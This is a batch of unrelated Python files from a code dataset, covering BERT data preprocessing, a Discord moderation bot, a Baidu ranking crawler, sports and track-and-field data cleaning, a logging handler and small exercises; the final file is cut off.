0 0 0 0 0 0\n #\n # Where \"type_ids\" are used to indicate whether this is the first\n # sequence or the second sequence. The embedding vectors for `type=0` and\n # `type=1` were learned during pre-training and are added to the wordpiece\n # embedding vector (and position vector). This is not *strictly* necessary\n # since the [SEP] token unambiguously separates the sequences, but it makes\n # it easier for the model to learn the concept of sequences.\n #\n # For classification tasks, the first vector (corresponding to [CLS]) is\n # used as as the \"sentence vector\". Note that this only makes sense because\n # the entire model is fine-tuned.\n tokens = tokens_a + [sep_token]\n if sep_token_extra:\n # roberta uses an extra separator b/w pairs of sentences\n tokens += [sep_token]\n segment_ids = [sequence_a_segment_id] * len(tokens)\n\n if tokens_b:\n tokens += tokens_b + [sep_token]\n segment_ids += [sequence_b_segment_id] * (len(tokens_b) + 1)\n\n if cls_token_at_end:\n tokens = tokens + [cls_token]\n segment_ids = segment_ids + [cls_token_segment_id]\n else:\n tokens = [cls_token] + tokens\n segment_ids = [cls_token_segment_id] + segment_ids\n\n input_ids = tokenizer.convert_tokens_to_ids(tokens)\n\n evidence_ids = tokenizer.convert_tokens_to_ids(evidence_tokens)\n\n # The mask has 1 for real tokens and 0 for padding tokens. Only real\n # tokens are attended to.\n input_mask = [1 if mask_padding_with_zero else 0] * len(input_ids)\n\n # Zero-pad up to the sequence length.\n padding_length = max_seq_length - len(input_ids)\n if pad_on_left:\n input_ids = ([pad_token] * padding_length) + input_ids\n input_mask = ([0 if mask_padding_with_zero else 1] * padding_length) + input_mask\n segment_ids = ([pad_token_segment_id] * padding_length) + segment_ids\n else:\n input_ids = input_ids + ([pad_token] * padding_length)\n input_mask = input_mask + ([0 if mask_padding_with_zero else 1] * padding_length)\n segment_ids = segment_ids + ([pad_token_segment_id] * padding_length)\n evidence_ids = evidence_ids + ([pad_token_segment_id] * (max_seq_length - len(evidence_ids)))\n\n assert len(input_ids) == max_seq_length\n assert len(input_mask) == max_seq_length\n assert len(segment_ids) == max_seq_length\n\n if output_mode == \"classification\":\n label_id = label_map[example.label]\n elif output_mode == \"regression\":\n label_id = float(example.label)\n else:\n raise KeyError(output_mode)\n\n features.append(\n InputFeatures(input_ids=input_ids,\n input_mask=input_mask,\n segment_ids=segment_ids,\n label_id=label_id,\n ori_idx_token=ori_idx_token,\n evidence = evidence_ids))\n return features\n\n\ndef _truncate_seq_pair(tokens_a, tokens_b, max_length):\n \"\"\"Truncates a sequence pair in place to the maximum length.\"\"\"\n\n # This is a simple heuristic which will always truncate the longer sequence\n # one token at a time. This makes more sense than truncating an equal percent\n # of tokens from each, since if one sequence is very short then each token\n # that's truncated likely contains more information than a longer sequence.\n while True:\n total_length = len(tokens_a) + len(tokens_b)\n if total_length <= max_length:\n break\n if len(tokens_a) > len(tokens_b):\n tokens_a.pop()\n else:\n tokens_b.pop()\n\n\ndef simple_accuracy(preds, labels):\n return (preds == labels).mean()\n\n\ndef acc_and_f1(preds, labels):\n acc = simple_accuracy(preds, labels)\n f1 = f1_score(y_true=labels, y_pred=preds)\n return {\n \"acc\": acc,\n \"f1\": f1,\n \"acc_and_f1\": (acc + f1) / 2,\n }\n\n\nprocessors = {\n \"esnli\": eSnliProcessor,\n \"quora\": QuoraProcessor,\n \"qqp\": QqpProcessor, \n \"mrpc\": MrpcProcessor\n}\n\noutput_modes = {\n \"esnli\": \"classification\",\n \"quora\": \"classification\",\n \"qqp\": \"classification\",\n \"mrpc\": \"classification\"\n}\n\nGLUE_TASKS_NUM_LABELS = {\n \"esnli\": 3,\n \"mrpc\": 2,\n \"quora\": 2,\n \"qqp\": 2\n}\n","sub_path":"BERT_GMASK/utils_glue.py","file_name":"utils_glue.py","file_ext":"py","file_size_in_byte":19851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"470805254","text":"import re\n\nfrom utils.string_utils import colors\n\nerrors = []\nargs = None\n\nclass BuError():\n def __init__(self, file_name, errid, level, line, message):\n self.file_name = file_name\n self.errid = errid\n self.level = level\n self.line = line\n self.message = message\n\n def print_error(self):\n try:\n highlight = \"\\33[44m \"\n if self.level == 1:\n highlight = \"\\33[0;30;43m \"\n elif self.level == 2:\n highlight = \"\\x1b[0;30;41m \"\n\n line_st = \"\"\n if not isinstance(self.file_name, str):\n self.file_name = self.file_name[0]\n if len(self.file_name) > 19:\n self.file_name = self.file_name[:15] + \"...\"\n level_st = \"\"\n err_spaces = 22 - len(self.file_name)\n shown_err = \"\"\n for i in range(1, err_spaces):\n shown_err = shown_err + \" \"\n shown_err = shown_err + str(self.errid)\n line_spaces = 9 - len(self.errid)\n if self.line != -1:\n line_st = line_st + highlight + str(self.line)\n level_spaces = 7 - len(str(self.line))\n for i in range(1, level_spaces):\n level_st = \" \" + level_st\n if self.line == -1:\n line_st = line_st + \" \"\n\n if self.level == 0:\n level_st = level_st + \"\\33[44m INFO \" + colors.ENDC\n elif self.level == 1:\n level_st = level_st + \"\\33[0;30;43m MINOR \" + colors.ENDC\n else:\n level_st = level_st + \"\\x1b[0;30;41m MAJOR \" + colors.ENDC\n for i in range(1, line_spaces):\n line_st = \" \" + line_st\n details_spaces = 7 - len(str(self.line))\n color = '\\033[37m' if len(errors) % 2 == 1 else '\\033[0m'\n message = color + self.message\n details_st = message\n for i in range(1, details_spaces):\n details_st = \" \" + details_st\n line_st = line_st + \" \\033[0m\"\n print(\"{0}{1}{2}{3}{4}\".format(color + self.file_name, color + shown_err, color + line_st, level_st, details_st))\n except Exception as e:\n print(e)\n\nclass BuErrors:\n\n def split_on_empty_lines(s):\n blank_line_regex = r\"(?:\\r?\\n){2,}\"\n return re.split(blank_line_regex, s.strip())\n\n def print_error(file_name, line, level, errid, message):\n error = BuError(file_name, errid, level, line, message)\n errors.append(error)\n error.print_error()\n","sub_path":"utils/error_handling.py","file_name":"error_handling.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"267428694","text":"import discord\r\nfrom discord.ext import commands\r\nfrom datetime import timedelta\r\nfrom discord.ext.commands import BucketType, cooldown\r\nimport asyncio\r\n\r\nfrom Others import *\r\n\r\nclass moderation(commands.Cog):\r\n\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.command(aliases = ['purge'])\r\n @commands.has_permissions(manage_messages=True)\r\n @cooldown(1, 5, BucketType.user)\r\n async def clear(self, ctx, amount=2):\r\n if amount > 100:\r\n await ctx.send('Amount cant be larger than **100**.')\r\n return\r\n await ctx.channel.purge(limit=amount)\r\n await ctx.send(f'Cleared {amount} messages from the channel {ctx.channel.name}')\r\n\r\n @commands.command()\r\n @cooldown(1, 5, BucketType.user)\r\n @commands.has_permissions(kick_members=True)\r\n async def kick(self, ctx, member: discord.Member=None, *, reason='Wasnt Provided.'):\r\n if member == None:\r\n await ctx.send('Please provide a member.')\r\n return\r\n try:\r\n await member.send('You have been kicked from {}.\\n**Reason:**\\n\\n{}'.format(reason))\r\n except Exception:\r\n pass\r\n await member.kick(reason=reason)\r\n await ctx.send('Sucessfully kicked **{}**.'.format(member))\r\n\r\n @commands.command()\r\n @commands.has_permissions(ban_members=True)\r\n @cooldown(1, 5, BucketType.user)\r\n async def ban(self, ctx, member: discord.Member=None, *, reason='Wasnt Provided.'):\r\n if member == None:\r\n await ctx.send('Please provide a member.')\r\n return\r\n try:\r\n await member.send('You have been banned from **{}**.\\n**Reason:**\\n\\n{}'.format(reason))\r\n except Exception:\r\n pass\r\n await member.ban(reason=reason)\r\n await ctx.send('Sucessfully banned **{}**.'.format(member))\r\n\r\n @commands.command()\r\n @commands.has_permissions(ban_members=True)\r\n @cooldown(1, 5, BucketType.user)\r\n async def unban(self, ctx, member=None, *, reason='Wasnt Provided.'):\r\n if member == None:\r\n await ctx.send('Who would you like unbanned?\\nNext time provide a user.')\r\n banned_users = await ctx.guild.bans()\r\n member_name, member_disc = member.split('#')\r\n\r\n for banned_entry in banned_users:\r\n user = banned_entry.user\r\n\r\n if (user.name, user.discriminator) == (member_name, member_disc):\r\n await ctx.guild.unban(user)\r\n await ctx.send(member_name + f' was unbanned. | {reason}')\r\n return\r\n await ctx.send(member + ' was not found')\r\n\r\n @commands.command()\r\n @commands.has_guild_permissions(manage_messages=True)\r\n @cooldown(1, 5, BucketType.user)\r\n async def Mute(self, ctx, member: discord.Member=None, *, reason='Not Given'):\r\n if member == None:\r\n await ctx.send('Please provide a member.')\r\n return\r\n role = discord.utils.get(ctx.guild.roles, name=\"Muted\")\r\n if role not in ctx.guild.roles:\r\n perms = discord.Permissions(add_reactions=False, send_messages=False, connect=False)\r\n await ctx.guild.create_role(name='Muted', permissions=perms)\r\n await member.add_roles(role)\r\n for x in member.roles:\r\n if x == ctx.guild.default_role:\r\n pass\r\n else:\r\n y = discord.utils.get(ctx.guild.roles, name=x.name)\r\n await member.remove_roles(y)\r\n await ctx.send(f\"{member} has been muted by {ctx.author.name}\")\r\n else:\r\n for x in member.roles:\r\n if x == ctx.guild.default_role:\r\n pass\r\n else:\r\n y = discord.utils.get(ctx.guild.roles, name=x.name)\r\n await member.remove_roles(y)\r\n await member.add_roles(role)\r\n await ctx.send(f\"{member} has been muted by {ctx.author.name} using the role: {role}\")\r\n\r\n @commands.command()\r\n @cooldown(1, 10, BucketType.user)\r\n @commands.has_guild_permissions(manage_messages=True)\r\n async def Unmute(self, ctx, member : discord.Member=None):\r\n if member == None:\r\n await ctx.send('Please give a member.')\r\n return\r\n role = discord.utils.get(ctx.guild.roles, name=\"Muted\")\r\n try:\r\n await member.remove_roles(role)\r\n await ctx.send('Sucessfully unmuted {}.'.format(member))\r\n except Exception:\r\n await ctx.send('That user isnt muted!')\r\n\r\n @commands.command()\r\n @cooldown(1, 300, BucketType.user)\r\n @commands.is_owner()\r\n async def nuke(self, ctx, channels : discord.TextChannel=None):\r\n if channels == None:\r\n await ctx.send('Give a channel')\r\n return\r\n if ctx.author != ctx.guild.owner:\r\n await ctx.send('Only **{}** Can use this Command'.format(ctx.guild.owner))\r\n else:\r\n verif = await ctx.send('Are you sure!')\r\n await ctx.send('Type in `yes`. To proceed')\r\n\r\n def check(m):\r\n user = ctx.author\r\n return m.author.id == user.id and m.content == 'yes'\r\n\r\n msg = await self.bot.wait_for('message', check=check)\r\n await ctx.channel.send('Theres no going back!\\n**Are you sure.**')\r\n def check(m):\r\n user = ctx.author\r\n return m.author.id == user.id and m.content == 'yes'\r\n\r\n msg = await self.bot.wait_for('message', check=check)\r\n new = await channels.clone()\r\n await channels.delete()\r\n await new.send('https://media1.tenor.com/images/6c485efad8b910e5289fc7968ea1d22f/tenor.gif?itemid=5791468')\r\n await asyncio.sleep(2)\r\n await new.send('**Mecha Karen** has nuked this channel!')\r\n\r\n \r\n @commands.command(aliases=['nick'])\r\n @commands.has_guild_permissions(manage_nicknames=True)\r\n async def nickname(self, ctx, member : discord.Member, *args):\r\n if member == None:\r\n await ctx.send('Give me a user dumbass')\r\n elif member == ctx.guild.owner:\r\n await ctx.send('You cant name the owner!')\r\n else:\r\n x = ' '.join(map(str, args))\r\n await member.edit(nick=f'{x}')\r\n await ctx.send(f'{member.name} has been changed to {x}')\r\n\r\n @commands.command()\r\n @commands.has_guild_permissions(manage_channels=True)\r\n @commands.cooldown(1, 60, BucketType.user)\r\n async def slowmode(self, ctx, time : int=0):\r\n if time < 0:\r\n await ctx.send('Give a positive number.')\r\n return\r\n try:\r\n if time > 21600:\r\n await ctx.send('Number is too large. You can only have a maximum time of `21600` seconds (6 Hours)')\r\n else:\r\n await ctx.channel.edit(slowmode_delay=time)\r\n await ctx.send(f'The channel {ctx.channel.name} now has a slowmode of {time} seconds')\r\n except Exception:\r\n await ctx.send('Not a number!')\r\n\r\n @commands.command()\r\n @commands.has_permissions(manage_channels=True)\r\n async def lock(self, ctx, channel: discord.TextChannel=None):\r\n channel = channel or ctx.channel\r\n\r\n if ctx.guild.default_role not in channel.overwrites:\r\n overwrites = {\r\n ctx.guild.default_role: discord.PermissionOverwrite(send_messages=False)\r\n }\r\n await channel.edit(overwrites=overwrites)\r\n await ctx.send(\"**The channel `{}` has successfully been locked!**\".format(ctx.channel.name))\r\n elif channel.overwrites[ctx.guild.default_role].send_messages == True or channel.overwrites[ctx.guild.default_role].send_messages == None:\r\n overwrites = channel.overwrites[ctx.guild.default_role]\r\n overwrites.send_messages = False\r\n await channel.set_permissions(ctx.guild.default_role, overwrite=overwrites)\r\n await ctx.send(\"**The channel `{}` has successfully been locked!**\".format(ctx.channel.name))\r\n else:\r\n overwrites = channel.overwrites[ctx.guild.default_role]\r\n overwrites.send_messages = True\r\n await channel.set_permissions(ctx.guild.default_role, overwrite=overwrites)\r\n await ctx.send('**The channel `{}` has now been unlocked!**'.format(ctx.channel.name))\r\n\r\ndef setup(bot):\r\n bot.add_cog(moderation(bot))\r\n","sub_path":"cogs/moderation.py","file_name":"moderation.py","file_ext":"py","file_size_in_byte":8479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"111899020","text":"# -*- encoding: utf-8 -*-\n# Created on 2016-07-04 15:44:10\n# Project: keyword_monitor_accurate\n\nfrom pyspider.libs.base_handler import *\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nimport urlparse\nimport time\nimport json\n\ndef qs(url):\n query = urlparse.urlparse(url).query\n return dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])\n\nclass Handler(BaseHandler):\n crawl_config = {\n \"itag\":'0.1',\n \"headers\": {\n 'Host': 'www.baidu.com',\n 'Pragma': 'no-cache',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'\n }\n }\n\n index_dict = {}\n \n @every(minutes=3 * 24 * 60)\n def on_start(self):\n with open('/apps/home/rd/hexing/data/keyword','r') as f:\n for line in f:\n if line :\n line = line.strip()\n arr = line.split('\\t')\n for index in range(10):\n self.crawl('https://www.baidu.com/s?wd=%s&pn=%s&rsv_spt=1&rsv_iqid=0xa0eaa7930001b982&issp=1&f=8&rsv_bp=0&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&rsv_sug3=1&rsv_sug2=0&inputT=995&rsv_sug4=995'%(arr[0],index*10),save = {'query':arr[0],'info':json.loads(arr[1])},priority = 100 - index * 10,callback=self.index_page)\n\n @config(age=10 * 24 * 60 * 60)\n def index_page(self, response):\n if response.save.get('query') not in self.index_dict:\n time.sleep(1)\n for index , each in enumerate(response.doc('.result').items()):\n _dict = {}\n _dict['title'] = each.find('h3 a').text()\n _dict['query'] = response.save.get('query')\n _dict['url'] = each.find('.f13 a').text()\n _dict['info'] = response.save.get('info')\n #url = each.find('h3 a').attr.href\n page_dict = qs(response.url)\n if 'pn' not in page_dict:\n pn = 0\n else:\n pn = page_dict['pn']\n for k,v in response.save.get('info').items():\n if v in each.find('h3 a').text().replace('...','').replace(' ',''):\n rank = index + 1 + int(pn) \n self.index_dict[response.save.get('query')] = rank\n _dict['rank'] = rank\n _dict['accurate_url'] = k\n return _dict\n #if 'genshuixue' in _dict['url']:\n #self.index_dict[response.save.get('query')] = index + 1 + int(pn) \n #_dict['rank'] = index + 1 +int(pn)\n #return _dict\n #self.crawl(url, save =_dict,callback=self.detail_page)\n \n\n @config(priority=2)\n def detail_page(self, response):\n #res_dict = response.save\n #res_dict['index'] = self.index_dict[response.save.get('query')]\n #return res_dict\n pass","sub_path":"爬虫/keyword_monitor_accurate.py","file_name":"keyword_monitor_accurate.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"326843080","text":"dictionary = {}\nbandera = 1\nwhile True:\n try:\n while bandera <= 5:\n ingresaNombre = input(\"Ingresa un nombre: \")\n if ingresaNombre in dictionary:\n print(\"Ingresa otro nombre\")\n else:\n ingresaTelefono = input(\"Ingresa un numero telefonico: \")\n dictionary.update({ingresaNombre:ingresaTelefono})\n bandera += 1\n \n \n for k, v in dictionary.items():\n \n print(\"Los datos ingresados son: \" + k,v)\n\n break\n except ValueError:\n print(\"Oops! No era válido. Intente nuevamente...\")","sub_path":"10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"218515707","text":"\"\"\"Scribe Logger Class\n\nThis class handles overwriting logging to send to a scribe instance.\n\n\"\"\"\nimport functools\nimport logging\nimport logging.handlers\nimport threading\nimport time\n\nfrom qfpay_scribe_logger.logbuffer import LogBuffer\nfrom qfpay_scribe_logger.writer import ScribeWriter\n\nDEFAULT_RETRY_INTERVAL = 5 # 5s\n\n\nclass ScribeLogHandler(logging.Handler):\n \"\"\"\"\"\"\n def __init__(self, backup_file, category, extra=None,\n host='127.0.0.1', port=1463,\n retry_interval=DEFAULT_RETRY_INTERVAL):\n\n logging.Handler.__init__(self)\n self.category = category\n self.retry_interval = retry_interval\n self.log_buffer = LogBuffer(backup_file)\n self.writer = ScribeWriter(host, port, self.category)\n self.category_write = \\\n functools.partial(self.writer.write, self.category)\n self.scribe_watcher = threading.Thread(target=self.handle_buffer)\n self.scribe_watcher.setDaemon(True)\n self.scribe_watcher.start()\n if extra:\n self.extra = ' '.join(extra)\n else:\n self.extra = ''\n\n def set_category(self, category):\n self._category = category\n\n def get_category(self):\n return getattr(self, '_category', 'default')\n\n category = property(get_category, set_category)\n\n def scribe_write(self, msg):\n if len(msg) >= 1 and msg[-1] != \"\\n\":\n beautiful_msg = \"%s\\n\" % msg\n try:\n res = self.category_write(beautiful_msg)\n except:\n return False\n return res\n\n def emit(self, record):\n msg = self.format(record)\n if self.extra:\n msg = \"%s %s\" % (self.extra, msg)\n if not self.scribe_write(msg):\n self.handleError(msg)\n\n def flush(self):\n pass\n\n def handleError(self, msg):\n self.log_buffer.add_log(msg)\n\n def handle_buffer(self):\n while True:\n if self.writer.is_scribe_ready() and self.log_buffer.has_log():\n self.log_buffer.clean_oldest_group(self.scribe_write)\n else:\n time.sleep(self.retry_interval)\n","sub_path":"qfpay_scribe_logger/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"69797998","text":"__author__ = 'chance'\n\nimport statsapi\n\n# statsapi.DEBUG=True\n# Uncomment the above line to enable debug logging,\n# for the statsapi module, which will show the endpoint URL:\n\n\n#https://statsapi.mlb.com/api/v1/people?personIds=475253&season=2018&hydrate=stats(type=gameLog,season=2018,gameType=R)\n\n#m = statsapi.player_stats(475253,'hitting','gameLog')\n#print(m)\n\n\nr = statsapi.league_leaders('earnedRunAverage',statGroup='pitching',season=2019,limit=100,\n playerPool='all')\n\nprint (r)\n\n# for t in r['teams']:\n# team_id = t['id']\n# rost = statsapi.roster(team_id)\n# print(t['name'])\n# print(type(rost))\n# print(rost)\n\n# games = statsapi.schedule(start_date='08/02/2019',end_date='08/02/2019',team=143)\n#\n# for game in games:\n# game_id = game['game_id']\n# print(game_id)\n# box = statsapi.boxscore(game_id)\n# print(box)\n\n\n\n\n\n\n\n\n","sub_path":"site/push_notification/mlbgame.py","file_name":"mlbgame.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404232816","text":"import pandas as pd\nimport numpy as np\n# from notify_run import Notify\n\n# notify = Notify()\n# print(notify.register())\n# notify.send('Running')\ndf = pd.read_csv('~/Documents/texas_football/field/long_jump/girls/girls_long_jump_1_40.csv', names=['School', 'Rank', 'Distance_String', 'Wind', 'Date', 'Address'])\n# df = pd.read_csv('~/Documents/texas_football/field/long_jump/girls/girls_longjump_header.csv', names=['School', 'Rank', 'Distance_String', 'Wind', 'Date', 'Address'])\n\n# df = pd.read_csv('/Users/amitchandna/Documents/Data_Science/Github/tamu_web_scrape/data_files/texas_boys_football_1718.csv', names=[\"Score\", \"Team_2\", \"Result_team_1\", \"Date\",\"District\",\"Time\",\"Team_1\",\"Team_1_Mascot\",\"Address\",\"Level\",\"Season\"])\n\nSchool = df.School\nRank = df.Rank\nDistance_String = df.Distance_String\nWind = df.Wind\nDate = df.Date\nAddress = df.Address\n\n # Team_1 = df.Team_1\n# Team_2 = df.Team_2\n# Score = df.Score\n# Date = df.Date\n# Result_Team_1 = df.Result_Team_1\n# Location = df.Location\n# Time = df.Time\n# Team_2_City = df.Team_2_City\n# Team_2_State = df.Team_2_State\n# Team_1_Address = df.Team_1_Address\n\n# score_list = Score.str.split('-',expand=True)\n# team_1_address_list = Team_1_Address.str.split(',', expand=True)\n# districted_list = Location.str.split('•', expand=True)\n\naddress_list = Address.str.split(',', expand=True)\n\n# df = pd.concat([df, score_list], axis=1)\n# df = df.rename(columns={0:'Score_1', 1:'Score_2'})\n# df = df.drop(columns={'Score'})\ndf = pd.concat([df,address_list], axis=1)\ndf = df.rename(columns={0:'Street_Address',1:'City',2:'State_Zip'})\ndf = df.drop(columns={'Address'})\ndf['State_Zip'] = df['State_Zip'].str[1:]\nState_Zip = df.State_Zip\nstate_zip_list = State_Zip.str.split(' ', expand=True)\ndf = pd.concat([df, state_zip_list], axis=1)\ndf = df.rename(columns={0:'State',1:'Zip'})\ndf = df.drop(columns={'State_Zip'})\n# df = pd.concat([df, districted_list], axis=1)\n# df = df.rename(columns={0:'Team_1_Home_Away', 1:'League_District_Nondistrict'})\n# df = df.drop(columns={'Location'})\ndist_pair = Distance_String.str.split(' ',expand=True)\ndist_pair[0] = dist_pair[0].str[:-1]\ndist_pair[1] = dist_pair[1].str[:-1]\ndist_numbers = []\nfor index,row in dist_pair.iterrows():\n feet = float(row[0])\n feet = feet + float(row[1])/12.0\n dist_numbers.append(feet)\ndist_numbers_series = pd.Series(dist_numbers)\ndf = pd.concat([df, dist_numbers_series], axis=1)\ndf = df.rename(columns={0:'Distance_Numeric'})\ndf = df[['School', 'Rank', 'Distance_String', 'Distance_Numeric', 'Wind', 'Date', 'Street_Address', 'City', 'State', 'Zip']]\n\n# df = pd.concat([df,scored], axis=1)\n# df = df.rename(columns={0:'Score_1', 1:'Score_2'})\n# df = df.drop(columns={'Score', 2})\n# df = pd.concat([df,addressed], axis=1)\n# df = df.rename(columns={0:'team_1_physical_Address',1:'team_1_City',2:'team_1_State',3:'Team_1_Zip_code'})\n# df = df.drop(columns={'Address',4,5})\n# df = pd.concat([df,districted], axis=1)\n# df = df.rename(columns={0:\"Home_Away\", 1:'District_non_district'})\n# df = df.drop(columns={'District'})\n# df = df[['Team_1','Score_1', 'Team_2', 'Score_2', 'Result_team_1','Home_Away','Team_1_Mascot','Date','District_non_district','Time','Level','Season', 'team_1_physical_Address','team_1_City','team_1_State','Team_1_Zip_code' ]]\n# team_1_score = []\n# team_2_score = []\n# for index,row in df.iterrows():\n# if row['Score_1'] == None or row['Score_2'] == None:\n# row['Score_1'] = -1\n# row['Score_2'] = -2\n# continue\n# numeric_score = ''\n# for element in row['Score_1']:\n# if element.isdigit():\n# numeric_score += element\n# if numeric_score != '':\n# row['Score_1'] = int(numeric_score)\n# else:\n# row['Score_1'] = -3\n# numeric_score = ''\n# for element in row['Score_2']:\n# if element.isdigit():\n# numeric_score += element\n# if numeric_score != '':\n# row['Score_2'] = int(numeric_score)\n# else:\n# row['Score_2'] = -4\n\n# for index,row in df.iterrows():\n# if row['Result_Team_1'] == 'W':\n# team_1_score.append(row[\"Score_1\"] if (row[\"Score_1\"] > row[\"Score_2\"]) else row[\"Score_2\"])\n# team_2_score.append(row[\"Score_1\"] if (row[\"Score_1\"] < row[\"Score_2\"]) else row[\"Score_2\"])\n# continue\n# else:\n# team_2_score.append(row[\"Score_1\"] if (row[\"Score_1\"] > row[\"Score_2\"]) else row[\"Score_2\"])\n# team_1_score.append(row[\"Score_1\"] if (row[\"Score_1\"] < row[\"Score_2\"]) else row[\"Score_2\"])\n# continue\n# df['Score_1'] = team_1_score\n# df['Score_2'] = team_2_score\n# df['Team_1'] = df['Team_1'].str[:-1]\n# df['Team_1_Home_Away'] = df['Team_1_Home_Away'].str[:-1]\n# df['League_District_Nondistrict'] = df['League_District_Nondistrict'].str[1:]\n\n\n\ndf['City'] = df['City'].str[1:]\n# df['Team_1_State'] = df['Team_1_State'].str[1:]\n# df['Team_1_Zip'] = df['Team_1_Zip'].str[1:]\ndf = df.drop_duplicates()\ndf.to_csv('clean_girls_longjump_1.csv')\n\n# notify.send('Finished')\n\n\n","sub_path":"field/long_jump/girls/longjump_post_processing.py","file_name":"longjump_post_processing.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"188627524","text":"class Coordenadas:\n \n def __init__(self,x,y):\n self.x = x\n self.y = y\n \n def distancia(self,otra_coordenada):\n x_diff = (self.x - otra_coordenada.x)**2\n y_diff = (self.y - otra_coordenada.y)**2\n\n return (x_diff+y_diff)**0.5\n \n\nif __name__ == '__main__':\n f_coord = Coordenadas(3, 30)\n s_coord = Coordenadas(4, 8)\n \n #print(f_coord.distancia(s_coord))\n print(isinstance(s_coord, Coordenadas))","sub_path":"POO/instancias.py","file_name":"instancias.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"59692679","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler, LabelEncoder\n\nfrom utils.list_operations import clean_inf_nan\nfrom utils.preprocessing.utils import perform_scaling, inverse_scaling, perform_pca, inverse_pca, drop_columns, \\\n inverse_one_hot_encoding, round_one_hot_endoced_columns, read_csv\n\n\nclass Preprocess_ieee:\n def __init__(self, path):\n self.path = path\n\n self.columns = None\n\n self.scaler = None\n self.pca = None\n self.cat_column_encoders = {}\n\n self.cat_cols = ['ProductCD', 'card1', 'card2', 'card3', 'card4', 'card5', 'card6', 'addr1', 'addr2',\n 'P_emaildomain', 'R_emaildomain', 'M1', 'M2', 'M3', 'M4', 'M5', 'M6', 'M7', 'M8', 'M9',\n 'id_12', 'id_13', 'id_14', 'id_15', 'id_16', 'id_17', 'id_18', 'id_19', 'id_20', 'id_21',\n 'id_22', 'id_23', 'id_24', 'id_25', 'id_26', 'id_27', 'id_28', 'id_29', 'id_30',\n 'id_31', 'id_32', 'id_33', 'id_34', 'id_35', 'id_36', 'id_37', 'id_38', 'DeviceType',\n 'DeviceInfo']\n\n def set_columns(self, df):\n self.columns = list(df.columns)\n\n def add_cat_column_encoder(self, cat_name, encoder):\n self.cat_column_encoders[cat_name] = encoder\n\n def preprocess(self, x_sv_train, x_usv_train, x_test):\n x_usv_train = clean_inf_nan(x_usv_train)\n x_sv_train = clean_inf_nan(x_sv_train)\n x_test = clean_inf_nan(x_test)\n\n # pca, x_sv_train, x_usv_train, x_test = perform_pca(x_sv_train, x_usv_train, x_test)\n # self.pca = pca\n\n scaler, x_sv_train, x_usv_train, x_test = perform_scaling(StandardScaler(), x_sv_train, x_usv_train, x_test)\n self.scaler = scaler\n\n return x_sv_train, x_usv_train, x_test\n\n def inverse_preprocessing(self, data):\n data = inverse_scaling(self.scaler, data)\n # data = inverse_pca(self.pca, data)\n\n df = pd.DataFrame(data=data, columns=self.columns)\n\n for cat_col in self.cat_column_encoders:\n df[cat_col] = df[cat_col].astype(int)\n df[cat_col] = self.cat_column_encoders[cat_col].inverse_transform(df[cat_col])\n\n return df\n\n def initial_processing(self):\n transaction_data = read_csv(self.path['one'])\n identity_data = read_csv(self.path['two'])\n\n data = pd.merge(transaction_data, identity_data, on='TransactionID', how='left')\n del transaction_data, identity_data\n\n # Remove columns with: Only 1 value, many null values and big top values\n # one_value_cols = [col for col in data.columns if data[col].nunique() <= 1]\n # many_null_cols = [col for col in data.columns if data[col].isnull().sum() / data.shape[0] > 0.9]\n # big_top_value_cols = [col for col in data.columns if\n # data[col].value_counts(dropna=False, normalize=True).values[0] > 0.9]\n # cols_to_drop = list(set(many_null_cols + big_top_value_cols + one_value_cols))\n # cols_to_drop.remove('isFraud')\n # data = data.drop(cols_to_drop, axis=1)\n\n # Remove dropped cols from cat_cols\n # for i in cols_to_drop:\n # try:\n # cat_cols.remove(i)\n # except ValueError:\n # pass\n\n # Label-Encode categorical values\n for col in self.cat_cols:\n if col in data.columns:\n le = LabelEncoder()\n le.fit(list(data[col].astype(str).values))\n data[col] = le.transform(list(data[col].astype(str).values))\n self.add_cat_column_encoder(col, le)\n\n data = drop_columns(data, ['TransactionDT', 'TransactionID'])\n\n # Extract `positive_samples` of benign transactions and all fraud transactions\n x_ben = data.loc[data['isFraud'] == 0]\n x_fraud = data.loc[data['isFraud'] == 1]\n\n x_ben = drop_columns(x_ben, ['isFraud'])\n x_fraud = drop_columns(x_fraud, ['isFraud'])\n\n return x_ben, x_fraud\n","sub_path":"utils/preprocessing/ieee.py","file_name":"ieee.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"228074186","text":"import random\n\nclass text_helper():\n\n\tdef __init__(self):\n\t\tpass\n\n\tdef number_blocks(self, num):\n\t\temotes = {\n\t\t\t\" \": \" \",\n\t\t\t\"0\": \":zero:\",\n\t\t\t\"1\": \":one:\",\n\t\t\t\"2\": \":two:\",\n\t\t\t\"3\": \":three:\",\n\t\t\t\"4\": \":four:\",\n\t\t\t\"5\": \":five:\",\n\t\t\t\"6\": \":six:\",\n\t\t\t\"7\": \":seven:\",\n\t\t\t\"8\": 